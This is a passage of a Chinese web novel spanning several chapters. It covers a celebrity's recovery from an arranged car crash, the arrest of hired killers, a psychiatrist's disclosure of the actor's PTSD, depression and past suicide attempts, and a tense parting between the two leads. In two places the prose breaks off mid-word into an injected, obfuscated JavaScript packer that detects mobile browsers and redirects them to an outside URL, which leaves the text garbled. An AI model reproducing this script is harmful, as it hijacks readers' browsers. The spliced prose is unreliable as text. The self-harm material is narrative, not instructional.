“你上次耳鸣就持续了有一个多小时!”李哥脸色很差,这回也没理会他的话,转而又回复赵熙,“这小子这几天寸步不离地守着你!把自己身体都要熬垮了,他本来精神状态就不好……” “李哥。” 姜洄加重了点语气。 李哥瞪了他一眼:“我就要说!真是没人能管得了你反了天了!你们车祸那天他耳鸣到失聪,还流了半小时的鼻血,自己腿还残着呢,要他去看医生死活不肯,非要守着你……” 姜洄制止不了,微微闭眼,对上赵熙皱眉投来的视线,轻声道:“没这么严重。” 腿包扎过,而且流鼻血而已,又死不了。 李哥道:“你可长点心照顾下自己吧,我可不想要一个精神失常的老板……小赵啊,也就你能管管他了,你们聊吧,我先走了。” 他放下果篮,说走就走。 小奇觉得氛围有点不太对,但不敢多问什么,也放下自己带来的营养鸡汤,犹犹豫豫地离开了。 病房门被关上,房间里重新恢复了一片安静。 姜洄在床沿的椅子上坐下,低着头从李哥带来的果篮里摸出一个苹果来,想了想,又放了回去。 赵熙和他一样,不爱吃苹果。 他转而拿了根香蕉开始剥,眼皮抬都没抬一下,好像剥香蕉是什么伟大细致的工程一样。 赵熙咳嗽了两声:“李哥刚刚说的……什么意思?” “什么什么意思?” “耳鸣,你经常有吗?” “……嗯。” “精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187568|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神原因?” “嗯。” “经常耳鸣到失聪?” “不算经常。”姜洄闷头把最后一条香蕉皮剥开,“一般能听到声音,但是耳朵很难受,大脑分析不了别人在说什么,头晕。” 赵熙被送进抢救室那天,是他第一次耳鸣失聪。 赵熙静静看着他。 姜洄抬头和他对视了一眼就受不了了,把香蕉递过去:“……别用这种眼神看我。我一直有在吃药看医生,其实现在没那么严重了,可能车祸的时候有点受刺激了。” 他从没想过会在这种情况下和赵熙聊起自己的精神问题,不过……本来也瞒不了多久。 赵熙没吃,他偏过头:“对不起。” 他闷声道:“不该骗你失忆,你这两天……是不是都没好好休息?” 姜洄吐出一口气,自己咬了两口:“还好,睡过几个小时,不是很困。” 赵熙喊他:“哥。” “嗯?” “别怕,我这不是好好的吗?”他轻声说,“下次你去看医生,我陪你一起。” 下次?那也要等他伤好了。 姜洄顿了下,嘴里嚼着香蕉,无所谓地点点头。 赵熙就这样住了大半个月的院,原定的一堆工作只能推后。 他的手机和姜洄一样坏了,姜洄去买了两台新的,款式一样,连颜色也是一个灰的一个黑的,看着就跟情侣款一样,把那黑的给了赵熙。 原本打算回去住,现在自然是住不了了。 姜洄还想帮他把行李送回去,便问他那边住址具体是哪一栋,但赵熙拒绝了,让他先放在自己公寓里:“来来去去的太麻烦了。” 姜洄看他一眼,当真也不提了。 期间他们有时也会聊起车祸的事情,每每说到这事,姜洄脸色就会立刻冷下来。 他大概和赵熙说了下自己的猜测,赵熙同样也觉得不简单,哪有这么巧,两次套路都几乎复刻的车祸让姜洄都撞见了? 但他们再怎么样也只是怀疑,找不到刘总的人。 那辆大货车的司机重伤昏迷着,至今没醒,而从十字路口的监控来看,最多就是一场路口未减速行驶的意外事故,找不到别的痕迹。 他们只能等警方结果,或是等着李哥那边的消息。 近一个月过去,赵熙出院当天,李哥终于传来结果。 他请人私下调取了路段监控,查到了跟踪他们的那辆车牌号,顺藤摸瓜查了近一个月,终于找到了幕后主使人,威逼利诱的,可算是让人把事情抖搂清楚了。 不出他们所料,这确实不是一场意外事故,据那位跟踪车辆的车主交代,他们根本不是跟踪的,是想要找时机造成追尾事故,制造一场车祸。 但被赵熙两人发现踪迹后车速加快,两辆车距离甩开太远了,再追上去实在刻意,他们立刻动用了第二计划,一辆提前等在路口的大货车。 大货车出现的那个路口再往后一段是旧城区,中间有一段恰好没有监控,根本看不到那辆大货车是从哪个巷口拐过来的,到时候他们再怀疑也找不到问题。 双方聊天记录已经提前被彻底删除了,因此逼供出这些还花费了很久,据司机说,他们是被买凶杀人的“凶”,幕后人没有露过面,事后和他错开时间,在那个路口的垃圾桶盖上放了一个黑色大袋子,装的就是几十万的酬金。 至于他们为什么做这行,无非就是家里缺钱,一时病急乱投医。 他们的目标是姜洄,只是两人这段时间一直黏在一块,而且长得也像,外人一时根本分不清谁是谁,也就没管那么多。 问出这些,李哥全部录音保存,押着人拿着那袋子送他去警局自首,才给姜洄他们打去的电话。 姜洄听着冷笑:“不知道的还以为我演刑侦剧呢,动不动买凶杀人……我的命很值钱吗?” 李哥:“祖宗,你好歹是个当红影帝,现在身价好几十个亿呢。”能不值钱吗? 69.看病 既然人送到了警局,姜洄也没什么好说的了,给他提前多转了一笔年终奖,辛苦他这段时间忙上忙下。 他作为老板是真的没话说,奖罚分明,面面俱到,除了性格有点懒散,不太爱和人闲聊瞎扯以外,没人不喜欢。 两人此时刚从医院出来,赵熙的腿还走不太动路,所以理直气壮地靠着他。 看着他低头转账,也没避开自己,赵熙道:“你还是怀疑刘闻世?” “除了他,我想不到还有人会这么针对我。”姜洄锁上屏幕,轻描淡写道,“可能就是怨我这种出身的人,也能把他公司搞成这个乌烟瘴气的样子吧。” 赵熙握住他的手:“没事,人抓到了,警察比我们厉害多了,早晚能找到幕后黑手的。就是可惜……” “可惜什么?” 赵熙叹气:“我的车啊,压成那个样子,应该修不好了。” 姜洄眉心松了些,有点好笑:“肯定修不好了。你很喜欢这款式?” 可惜是限量款,不然他高低再给赵熙买一辆,钱又不是问题。 “还好吧,喜欢是因为——”赵熙看看他,压低声音道,“因为是你送的啊。” “……那我再送你一辆别的。” “好啊。” 路边等待助理小奇开车来接他们时,姜洄让他坐在候车点的椅子上,去买了两瓶水回来。 赵熙远远瞧着他从便利店出来,还塞了一把什么东西进口袋里,眯了眯眼,觉得这场景有点眼熟。 不过上次是他去买东西,姜洄等着他,这次两人视角换了过来。 他唇边扬起几分笑,眼见着姜洄要过马路了—— 一个比姜洄稍高一些的男生拦在他面前,手里攥着手机,红着脸说了几句话。 赵熙藏在口罩里的笑弧瞬间落下来,面无表情地看着。 大概还在上大学,或者刚毕业?总之很年轻,二十出头的样子,脸上都是青春的气息。 长得不矮,至少有一米八,样貌从侧脸看过去也不差。 看着会是小叔叔喜欢的类型。 ……他当初就是这样的。 啧。好烦。 小叔叔怎么走到哪里都这么受欢迎? 真想把人藏起来…… 这个念头冒出来的一瞬间,赵熙抿了抿唇。 姜洄若有所感,他抬眼看来的前一秒,赵熙迅速低头,欲盖弥彰地扯了扯头顶的帽子,看起了脚边的蚂蚁搬家。 这种情况姜洄其实遇见的不少,虽然他出门总是包裹得严严实实,但哪怕只露出一双眼睛,也能从身段看出一定是个极品帅哥。 姜洄以前从来都是利落地拒绝,从不多说废话。 但…… 姜洄收回视线,摇摇头,对面前的男生笑笑:“我不加陌生人好友,我男朋友会不高兴的。” 男孩愣了愣:“啊,好的。” 他收起手机,尴尬地离开了。 姜洄没有过多停留,跨过马路停在赵熙面前,将水递给他。 赵熙接过来,拉下口罩喝了一口又迅速拉上去,状似不经意地问:“那个男生,是你朋友?” 姜洄不动声色地笑笑:“不认识,问路的。” 赵熙:“哦。” 他面部肌肉线条放松了些,也不知信没信。 小奇很快来了,两人都坐上了后排,姜洄把他们的安全带系得严严实实,一脸严肃,回程的路上一言不发,浑身是肉眼可见的紧绷。 两次车祸,看样子很长一段时间里,他都要对坐车这件事有浓重的心理阴影了。 赵熙没法说什么,因为说什么都是徒劳,只能握着他的手以示安抚。 他们的目的地是姜洄的那间公寓——没错,赵熙以伤势还没好完全,背后不方便上药为由,再次和姜洄继续同居了。 只是他总觉得,赵熙对提起姜洄去他家的这件事的态度有点奇怪……总是有意无意,避而不谈。 但看在他还是个伤患的份上,姜洄没多问。 虽说他正当红,但最近的事情还是闹得有些大了,多少影响到了他的拍戏邀约或代言,姜洄干脆一个没接,这段时间放下一切专心照顾赵熙来了。 赵熙出院后他也没多勤奋,照顾伤患还是到位的,但每次去拍摄广告什么的,都尽量会在下午五点前赶回来,和赵熙先前的工作态度对比起来不可谓不摆烂。 其实这辈子在圈内奋斗了十三年,加上赵熙那边经商的十年,姜洄很早就计划不干了,只想早点拿完那些该有的奖项,赶紧退休当条混吃等死的咸鱼。 这个念头在赵熙来了之后更甚了。 两人就这样岁月静好地躺平了小半个月,好似提前过了一阵退休后悠闲富足的生活。 姜洄最喜欢没事的时候在阳台上的美人椅上躺着晒太阳,以前会觉得无聊,现在旁边多把椅子,多个躺在他旁边晒太阳的病号,心里却只有慰贴。 临近年关,又到了姜洄出去看诊拿药的日子。 按照之前和赵熙说过的,姜洄没瞒着他。 赵熙伤还没完全好,但现在自己行动是完全没问题的,他坚持要陪着姜洄去,姜洄也没拦着。 他们在这家私人心理治疗所等了一会儿,赵熙暗自打量周围环境,看姜洄和助理那熟稔的态度,无视了对方隐约展露出好奇的打量视线,低声道:“你来过很多回?” 姜洄不太自在:“……嗯。” 上一位病人开门离开后,助理才示意他们可以进去了。 林医生提前收到了他要来的消息,听见敲门声,头也没抬:“进。” “测试题在那边,自己拿着做吧。” “知道了。”姜洄瞥了眼桌上放着的纸张,顺手扶着赵熙在一旁坐下。 “最近睡得怎么样?” “还行。” “还行?安眠药吃了几次?” 姜洄抿了下唇:“没吃。” 没吃? 这下林医生终于肯抬头了,这才发现姜洄今天不是一个人来的,还懵了一下。 赵熙友善地笑笑,他拉下口罩,露出一张和姜洄相差无几的脸:“你好。” 林医生:“你好……这是,你弟弟?” 后面一句话是对姜洄说的。 姜洄道:“不是。” 回了不是,但两人是个什么关系,他终究也没说出个所以然来,只道:“这是赵熙,他今天陪我来拿药。” 林医生干巴巴哦了一声,视线在他俩之间转来转去,目光仍然是掩饰不住的震惊和茫然。 姜洄倒是平静,左右赵熙已经陪着他来了,该知道的迟早也要知道,所以倒是没什么情绪变化。 他拿了笔在那张写满测试题的纸上看了几分钟,把题答完了递过去:“好了。” 期间赵熙的视线也顺势落在上面扫了几眼,看到了几道眼熟的。 他做过。 林医生看了一会儿,狐疑道:“和之前测试的差不多,不过好像……” 他打量了下姜洄:“看着确实要比之前好一些了,你最近没吃安眠药的睡眠质量如何?” 他这话问得毫无顾忌,毕竟姜洄能把赵熙带进来,就说明了关于病情这方面,他不打算避着对方。 但赵熙闻言却又看了姜洄一眼,脸上没什么表情。 “挺好的。”姜洄清了清嗓子,“也没怎么做噩梦。” 林医生点头,有点疑惑:“最近是做什么了吗?怎么突然好转了?” 姜洄扯了扯嘴角,没好意思说是因为赵熙在身边。 林医生看出他的犹豫,也没等他 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姜洄临走给了林医生一个眼神,示意他别瞎聊,林医生把脑袋缩回电脑后,眼观鼻鼻观心,装没看见。 下一位病人还没来,室内安静了两秒,赵熙主动开了口:“林医生,我哥他,经常来吗?” 哥? 不是说不是弟弟吗? 心里这样想着,林医生倒没问出来,应道:“是啊,熟客。我想想,我俩认识八年了。” 赵熙眼下肌肉跳动了两下:“他的病,症状很严重吗?” 林医生没有立刻回答,他看了赵熙两眼:“我多问一句,你和姜洄……是亲戚吗?” 赵熙思考了一秒。 他笑了下:“一定要说的话,是家属。” 林医生若有所思:“看来他还真把我的话听进去了。” 赵熙挑眉:“什么话?” 林医生笑:“哦,我跟他说,找个对象或许会对他的情况有所帮助,现在看来——” 他耸耸肩,语气意味深长:“他把我的话听进去了。” 赵熙眼皮一跳:“林医生什么时候说的这话?” “就……大概两年前吧,”林医生愣了下,“怎么?” 两年前。 那时他刚加上姜洄的微信,宋因雯刚好给他介绍对象。 赵熙唇边的笑淡了几分,垂眼道:“没什么。林医生还没回答我刚刚的问题。” “说严重也挺严重的,他的情况是我从医至今遇到的最复杂的一个,”林医生正色道,“因为早年一些经历导致他患上了严重的ptsd,失眠、噩梦都是ptsd带来的结果,严重时还会胃痉挛、耳鸣……你应该知道?” 赵熙沉着脸点了下头。 他确实知道。 姜洄还一直骗他说是睡觉姿势问题才会做噩梦,这笔帐他记很久了。 但他并不清楚,原来姜洄噩梦醒来还会耳鸣。 不,也许是清楚的,每次姜洄醒后,会有一段时间是不会回应他说话的,整个人像是被魇住了一样,眼神一动不动,赵熙一直以为他只是做了噩梦没回过神。 原来是因为耳鸣。 林医生叹了口气:“此外,他近几年还伴有重度抑郁症,对生活失去激情,欲/望降低,食欲不振……我发现他有很重的心结,自厌情绪严重,之前还有过自杀的想法,甚至已经付诸现实。要不是他经纪人对他的状况一直关注着,根本都发现不了,我时常会担忧下次拿药的日期他到底会不会来。从医生的角度出发,我希望你作为他的身边人,能帮他尽力开导心结……” “你说什么?”赵熙抿了抿唇,终于回神一般,打断了他。 他嗓音压得重了些,一字一句道,“自杀?” 70.分别 姜洄拿了药回来,和林医生打了个招呼后,拿上帽子口罩,带赵熙回去。 看林医生表情有点奇怪,姜洄眉峰轻挑,踏出办公室的门才开口:“你们聊什么了?” 赵熙沉默两秒:“聊了聊你的病情。” 姜洄缓缓眨了下眼,语气平静:“他是不是说得很严重?你别听他危言耸听,其实我觉得还行,最近好多了,真的。” 赵熙没忍住笑了下:“林医生知道你在背后说他危言耸听吗?” “知道,他还一直说我冥顽不灵呢。”姜洄道。 赵熙又抿唇笑了。 姜洄表情正了正:“怎么了?他到底说什么了?” 赵熙没回答。 他低头,瞥了眼姜洄的手腕。 姜洄一下就顿住了。 赵熙语气仍是平静的:“你手腕上的疤,真的是演戏受的伤吗?” 姜洄缄默,唇瓣蠕动片刻,不知道该怎么答话。 赵熙没看他。 他再次开了口,口罩和帽子的遮掩下,脸上的神情看不清晰:“我一直在想,演什么戏能让那个部位手上,那么明显的划痕,那么深的口子,那么奇怪的部位。” 姜洄舌尖抵着腮帮,话都卡在喉咙里,见他语气神情都那样平静,一时拿不准他是什么意思。 “我……” “你割过不止一次,是吗?”赵熙轻声道。 沉默。 姜洄声音低了些:“就是情绪上来了,一时想不开。” 赵熙轻轻吸了一口气,他沉声道。 “上一次是什么时候?” 姜洄眼睫微微一颤,抬眼瞥他:“……大概一年前。” 这一年因为z的存在,他寻死的念头其实没有那么深了。 他也不是非要作践自己的身体,能好好活着,谁不想好好活着呢? 但一个人呆着就是会想东想西,情绪上头……再反应过来时,就已经这样了。 他拼着一口不服输的气,一个人回到这个世界,也不知道是要惩罚谁,但他和赵熙,似乎谁也没有好过。 白日里他还能撑着冷静自持的表象,一如既往地完成工作,回到一个人自处的时候,又会控制不住地回忆赵熙的存在。 他明明是思念的,思念那十年的光阴,思念和赵熙在一起的时候,思念赵熙的喜欢和爱,思念和对方相处时拥有的一切安宁和温馨。 但他回来了——这是他自己的选择,回来了又要低头,就好像认输了一般。 他不愿否决“姜洄”的存在,也不愿否决自己的决定,所以他不肯对任何人诉说这份思念。 姜洄只往前走,从不回头。 情绪挤压到一定的程度,加上他本来就有心理阴影,ptsd再加一层抑郁症,好像也没什么大惊小怪的。 可这些要怎么跟赵熙解释呢? 他早就过了能和人开诚布公推心置腹说心里话的年纪了,也不是多外向的人,有些东西揉碎了说出来太矫情,他也已经习惯了独自适应所有的感知和心态变化,只会默默消化。 可姜洄也不愿他担心,更不愿看到他的怜悯同情。 不过好在,赵熙虽然很久没再说话,但也没用那种他受不了的眼神看他。 两人一路走到街边的车站站牌下,维持着这阵沉默,姜洄打开手机叫了车,气氛仍旧僵持着。 眼看着他手指在手机上漫无目的地滑来滑去,也没有再开口的意思,赵熙的目光上移,略过口罩,从他挺拔的鼻梁落到眼尾边,嗓音莫名有些哑。 “为什么没和我说?” 姜洄扯了下脸上的口罩带子,好像被他目光烫了一下。 他没看赵熙,只是又把手机收起来了,语调仍旧是云淡风轻的:“没必要,现在又不会了。” 只要今后赵熙陪着他,大概率以后也不会有。 赵熙动了动唇瓣,很想问点什么,心疼他折腾自己,或是责怪他不珍惜身体……但话却堆在嗓子眼,半晌什么都问不出来。 他知道,他没有这个立场,也没有这个资格。 迟了。 ——他来到姜洄的世界,太迟了。 那些难过和伤痛,都早已经被他独自消化,一个人咽下,结了痂,成了疤。 抹不掉,也好不了。 就像赵熙可以救下第二场车祸里的姜洄,但三年前的那次事故中,依旧只有姜洄一个人。 过去无数的经历组成了现在的姜洄,也正因为他经历过那些赵熙没有经历的,姜洄才会去到他的世界,才会有如今站在姜洄面前的他。 他的过往经历资料在赵熙手上来回翻阅过很多遍,他曾经想,要是姜洄能过得幸福,其实他不去到自己的世界也可以的。 只要他过得好。 可现在他又想,这是姜洄的人生。 他孤身一人撑过了这么多年,走过的所有路,选择的所有方向,不论造成了怎样的结果,又会有怎样的结局……赵熙都没有任何理由去谴责。 说什么都是徒劳,姜洄不需要他的同情和怜悯而心疼……现在说心疼,只会让姜洄感到压力和不知所措吧。 过了会儿,赵熙笑了下,表情又恢复了往日的平静。 他若无其事道:“马上要过年了,哥有什么打算?” 虽然有些诧异他竟然就这样掠过了上一个话题,但姜洄缓缓眨了下眼,还是过渡良好地回:“能有什么打算?就是买点年货而已,以前不都是这样吗?” “那打算和谁一起过年?” 姜洄迟疑了下。 这话问的,难道赵熙不和他过吗? 正要问,他又想到之前赵熙和他提过的日期——一两个月赵熙要回去一趟。 年后录节目,赵熙肯定是回不去了,是要趁着过年回去吗? 姜洄踌躇着,又不知该不该问了,他知道赵熙在意他,要是他开了口,赵熙肯定明白姜洄想让他陪自己过年,要留下来配他。 可不回去的话万一有什么副作用呢? 姜洄一直对赵熙能来回穿梭时空这件事心存疑虑,唯一能想到的答案就是,他和系统达成了某种约定,赵熙绝对支付了一些代价。 姜洄不知道代价是什么,但他不太想让赵熙为自己打破计划。 毕竟事关赵熙自己的安危。 念头百转间,姜洄一时没有开口。 他的犹疑被赵熙看在眼里,赵熙抿了下唇,很快又垂眼低头。 一股冲动涌上心间,他脱口而出:“我搬回去……一段时间吧。” 果然! 姜洄面上不动声色,尽量平静地问:“你是不是要回去了?” 赵熙顿了顿,很快明白过来他问的是什么意思,他没多少犹豫,点了下头:“……嗯。” 姜洄哦了一声,也点头:“其实你住我这里也可以回去的……” 赵熙不愿意说,他又不会逼问到底怎么回事,赵熙不在的时候,他还可以帮忙掩饰一下。 赵熙轻声道:“没事,我还是搬回去吧。” 他眼神复杂地看了姜洄一眼,唇瓣动了几下,话才挤出来:“……我,今天就回去。” 姜洄没看懂他这眼神是什么意思,也没空琢磨,他眼睛睁大了些,诧异道:“这么突然?” 赵熙仍旧点头:“嗯。” 嗯是什么意思?他就不会提前告诉自己的吗? 平时伶牙俐齿的,今天怎么就不会解释了? 姜洄也没好继续挽留,瞟了眼他丧气的脸色,只当他是怕提前说了会让自己也跟着不高兴,心里的不爽就散去了几分。 他几不可察地撇了撇嘴:“知道了。” “那你现在……” 赵熙低头从口袋里摸出手机:“我打车回去,没事,你不用管我。” 姜洄把嘴里的话无关紧要的话又咽回去:“……嗯。” 怎么回事? 为什么觉得……赵熙有点怪怪的? 姜洄打的车先到一步,他开门上了车,看了眼窗外起身送他的赵熙——这人自己腿还站不稳,杵着拐杖还要把他送到车边。 他神情缓了缓:“自己注意上药,回来了……给我打个电话。” 赵熙朝他笑笑,即便隔着口罩,姜洄也能看出来,是他熟悉的笑容:“好。” 再多的送别的话,姜洄也说不出来了。 赵熙又不是小孩子,腿没好完全,但也不是动不了,不至于再给自己造成二次伤害,嘱咐太多显得啰嗦。 又不是见不到了。 就算是之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196615|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的以为再也见不到的时候,姜洄也不是个喜欢多话的性子。 他坐在车里,直到从车窗再也看不到对方的影子了,姜洄才把视线收了回来。 他想起什么,点开微信的置顶聊天框,打字问赵熙:【忘了问,要去多久?】 赵熙那边又是好半天的“输入中”。 【西西:半个月吧。】 半个月?那都等到年后了。 不过也正常,毕竟他这次在这边呆了这么久。 姜洄揉了揉太阳穴,不想了。 不就是自己过个年吗,也没什么大不了,又不是没自己过过。 另一边,目送姜洄上了车,赵熙重新坐回了椅子上,弯起的眉眼又落下来,神情回归冷漠。 他给经纪人打了个电话:“百百姐,这段时间的工作都推了吧,我有点事。” 百百姐并不是专门对接他的经纪人,但赵熙的商业价值太高,所以作为经纪人,她一直把资源尽量捧给他先选,虽然因为不露脸所以赵熙失去过很多代言和□□会,但他人气多,流量高啊,马上就要露脸了,更是未来可期。 这还是两年来除了前段时间的车祸以外,第一次听他说有事,要把工作推掉。 “什么事啊?”百百姐没第一时间应下,“虽然我也很想给你这个面子,但是年后你就要录综艺了,但还有专辑没录制完呢,你要是年前不做,就得拖到综艺后……到时候超了时,你知道的,要付违约金。” 违约会让歌手在圈内的信誉受损,赵熙以后要在这个世界过,就得顾忌点这方面的问题,加上他也记得确实有首歌,录了两次,但因为一些问题没搞定,还得找机会去补录。 可他也确实和姜洄说了,要回另一个世界,这时候光明正大去录歌不合适。 犹豫了会儿,他道:“那就录歌的行程往后推一推吧,最后期限的三天里我去录,其他的都推了,不要接。” 百百姐应了。 就一首歌而已,应该不会被他发现。 赵熙挂了电话,摩挲着手机的边沿,又忽然有点后悔。 不能和姜洄一起过年了。 这期间也不能和他发消息了。 明明气的是他总不愿对自己坦诚,气的是自己来得太迟什么也帮不了他,气的是他对姜洄来说好像从来没有唯一性、谁都可以替代。 连过年和谁一起过也要犹豫……其实没有他,姜洄也不会缺人陪着吧? 一年前姜洄就好很多了,没有再自尽过,但那时候赵熙还没有出现在他面前。 频繁和他聊天的,是新闯进他生活的“z”。 ……如果z不是他呢? 这句话当初他问过姜洄,不过当时没控制住情绪,话有些难听,本来好好的氛围被他打破了,姜洄还给了他一巴掌,明显是觉得难堪。 可这个问题并没有在他心里解决,甚至生根发芽,长成岑天大树,在他心头投下了重重阴影。 他当初可以头也不回抛下赵熙离开,当然也有可能忘记赵熙的存在投入新生活的怀抱。 哦,也可能是新男友。 赵熙面无表情地咬了咬后槽牙,心头一阵酸涩,混杂着听到他自尽过后,到现在一直隐约持续的抽疼。 生气,又没有立场。 明知心里这份情绪来得莫名其妙,不该发在姜洄身上,但他还是控制不住。 明明这么多年过去,他以为自己已经长成了一位稳重镇定的大人了,像姜洄为他设想的那样。 可是每每面对姜洄,这份冷静自持总是溃不成军,好像他又成了十七八岁情窦初开、喜怒哀乐都画在脸上的毛头小子。 怕再和姜洄呆下去会忍不住冷脸,一时上头,赵熙就把要回去的话说出来了。 ——其实他根本不用回去,也根本不想回家住,只是想看看提出分别时姜洄会有什么反应。 结果他不仅没挽留,甚至什么都没问。 ……什么都没问! 应该明白的。 毕竟当时就是姜洄自己提出来要他搬回去住,是他靠着车祸受伤这件事又赖在了对方家里。 赵熙泄气一般靠在身后的椅背上,闭了闭眼。 也不知道一气之下说出口的蠢话和做出来的蠢事,到底是更让谁难受了。 71.不会 姜洄到家,犹豫着又发了个消息过去。 【走了?】 直到第二天,这条消息也没被回复。 看来确实走了。 也不跟他讲一声什么的……姜洄心里闪过这个念头,很快又甩甩脑袋压了下去。 还有一周到大年三十,赵熙不在,姜洄也懒得多折腾什么,这两天就去超市零零散散置办了些年货,提前下载了两部电影和电视剧,准备留到过年看。 左右都是一个人过,怎么过都没区别。 他赶了几天堆积的工作,把事情都在过年前解决完了,又囫囵睡了一觉大的,睡醒感觉身心都通畅了。 他起床吃了药,百无聊赖地靠在阳台椅子上翻看手机,总觉得身边少了个人,心不在焉的。 置顶聊天框已经好几天没人给他发消息了,倒是李哥发了条关于上次车祸的后续过来。 一直躺着的货车司机醒了,从他嘴里撬了些线索出来,盛兴的刘闻世被顺藤摸瓜抓到了,警方审问了好几天,他终于认罪。 两次车祸,都是他一手策划,还有身上一堆罪名压着,死刑是逃不掉了。 人进了局子,姜洄也不担心他还能跑,知道后续也就放心了,其他的全部交给李哥去处理。 只是还是难受,因为自己连累了赵熙,想了又想,好像也没什么可给赵熙的,除了钱。 他划进和赵熙的聊天界面,简单和对方说明了一下后续情况,本想问银行卡卡号,但思及赵熙现在回不了消息,干脆分三批,最大额度地给他转了笔钱过去。 他补充说明:【买几件衣服穿穿。】 打完字才意识到,不对啊,等赵熙回来,这钱早就领不了了。 算了,大不了到时候再转一次。 再退出来,看见李哥问他过年是什么打算。 姜洄随手回复:还有什么打算?自己过。 【lili:?赵熙不跟你过年吗?/疑惑】 姜洄轻描淡写道:【他有事。】 李哥就理所当然把“有事”当作陪家人了,感慨道:【还以为你今年能摆脱孤家寡人的命运呢,要不然上我家过?】 【口-口:不打扰你和嫂子二人世界了,好不容易闲下来,多陪陪嫂子吧。】 就跟约好的一样,晚上宋因雯也来问他过年什么打算。 她并不知道姜洄和赵熙的关系,平时两人只是微信有些联系,见面不多,问这话姜洄就明白肯定是有事要说。 【口-口:有话直说。】 【宋:你上次不是问我之前云海的事吗?这段时间忙着拍戏,前段日子你又出了车祸,忘了问,你啥意思啊,想谈了?】 【宋:正好我休息了,要是有那个想法,有空年前出来见一面,我做东。】 姜洄还很认真地想了一下云海是谁。 往上翻了翻聊天记录,才反应过来,是宋因雯介绍的那个男生。 他到现在也没加。 【口-口:不了。】 想了想,姜洄道:【有男朋友了。】 几秒钟后,姜洄得到她的回复:哦。 嗯?不惊讶吗? 本来还存了几分炫耀心思的姜洄挑了下眉:你怎么这个反应? 【宋:猜到了/黄豆笑】 【宋:是上次车祸的时候护着你的那个男生吧?】 【宋:我早就想问了,他是xx?你俩怎么长得那么像?】 宋因雯去看过他,顺带着也见到了赵熙的脸。 xx和他一起出车祸的事情粉丝都知道,联想到这点不奇怪。 姜洄避重就轻:【巧合,缘分。】 【宋:/大笑】 【宋:什么时候带出来正式见见啊?】 【口-口:会见的。】 到时候上节目,不就都见到了吗?姜洄想。 和宋因雯聊过了,他顺便翻了下列表,一一回复了几个朋友的闲聊,接着看见唐尺发来消息。 【小唐:有空吗?】 【口-口:?】 【小唐:我来江城了,我请客,出来吃饭/戳戳】 后天就过年了,怎么这个时候来江城了? 姜洄犹豫了下,没拒绝。 朋友之间的感情是要靠来往维系的,几个月没见,吃个饭而已,没必要拒绝。 反正也没什么事要做。 换了衣服,在衣柜里挑了挑,他又拿了那条赵熙送给他的围巾。 路过客厅,看见昨天刚换了水的那一束山茶花,他伸出手指碰了碰娇嫩的白色花瓣,心情又好了许多。 踏出楼下的公寓门,姜洄被迎面的冷风糊了一脸,年底的江城温度又降了,今天又飘了点雪花。 姜洄想,今年过年,既然赵熙陪不了他,不然就回别墅去吧。 江淮小区的那栋别墅。 他打车到唐尺所说的饭店,唐尺已经到了,远远看见他,起身朝他招手。 “不好意思,路上堵车。” “你跟我客气啥啊,我也刚到。”唐尺把菜单往他面前一递,扫了眼他的脸色,“点菜吧……最近过得怎么样?哦对了,上次车祸,我没来得及赶过来,你腿上的伤好点了吗?” “还好,伤口结痂了,没什么问题。你呢?” 唐尺点头:“我嘛,也还好吧。” 听出他语气有异,姜洄勾了几道菜,又递回去,顺手把脖子上的围巾解了:“怎么了?” 唐尺已经点过了,直接交给旁边的服务生,又说要两瓶好酒。 姜洄看他,他道:“我喝,你不用陪我喝。” 行吧。 等人走远了,唐尺才郁闷出声道:“我和余书……就是我男朋友,你应该记得,我俩吵架了。” 那当然是记得的。 姜洄道:“你突然来江城,是因为这个?” “不是。”唐尺挠挠头,“怎么说呢,他以前明明说不介意我干什么的,但最近我想做游戏行业,他又跟我说这一行投资太多而且很容易看不到收益,要想清楚了再做……” 姜洄想了想:“他说得也没错。” 唐尺丧气道:“就知道你也这么说。” “……不过你要是玩玩,就不用顾忌这么多了。” “对吧!”唐尺一下又精神了,“我也是这么想的,但是他第一次跟我说这么多,加上我俩不是快结婚了吗……我就感觉,他是不是没那么喜欢我了?” ? 这怎么联想到的? 姜洄有点费解地试图理解他的脑回路:“为什么?” “他以前都不这样啊,”唐尺咬牙切齿,“刚在一起说的好听,什么都听我的,人要到手了,又跟我说不能做什么事都没有目标……他是不是嫌弃我?觉得我没用?” 姜洄:“……” 他咳了一声,喝了口水:“我觉得可能就是说说而已,没别的意思。” 唐尺撅嘴:“你没谈恋爱你不懂。” 姜洄放下茶杯,默默挺直了腰板:“谁说我没谈?” 唐尺愣了下:“啊?” 姜洄:“嗯。” 唐尺:“……卧槽!” 他从椅子上站起来,意识到反应太大,甚至半隔间外的其他客人呢都忍不住看过来时,又轻轻坐了回去,拍拍嘴,强行压低声音道:“你谈了?什么时候的事?和谁?我认得吗?” 姜洄道:“就前段时间吧,和……你不认识。” “我们俩的事情之后再说。” 他转移话题,抬了抬下巴:“你继续。” “哎,也没什么大事。”唐尺烦闷道,“就是最近他也忙,没什么空去顺城陪我,我还看了篇他和一个小明星闹绯闻的新闻报道,加上最近和家里闹了点不愉快……各种事情堆在一起,就没忍住在电话里吵起来了。” “来江城就是散散心,”唐尺揉了把脸,“顺便来看看你。” “你是想去找余书吧。”姜洄淡笑着,一语点破。 唐尺结巴了一下,嘟嘟囔囔的也没反驳。 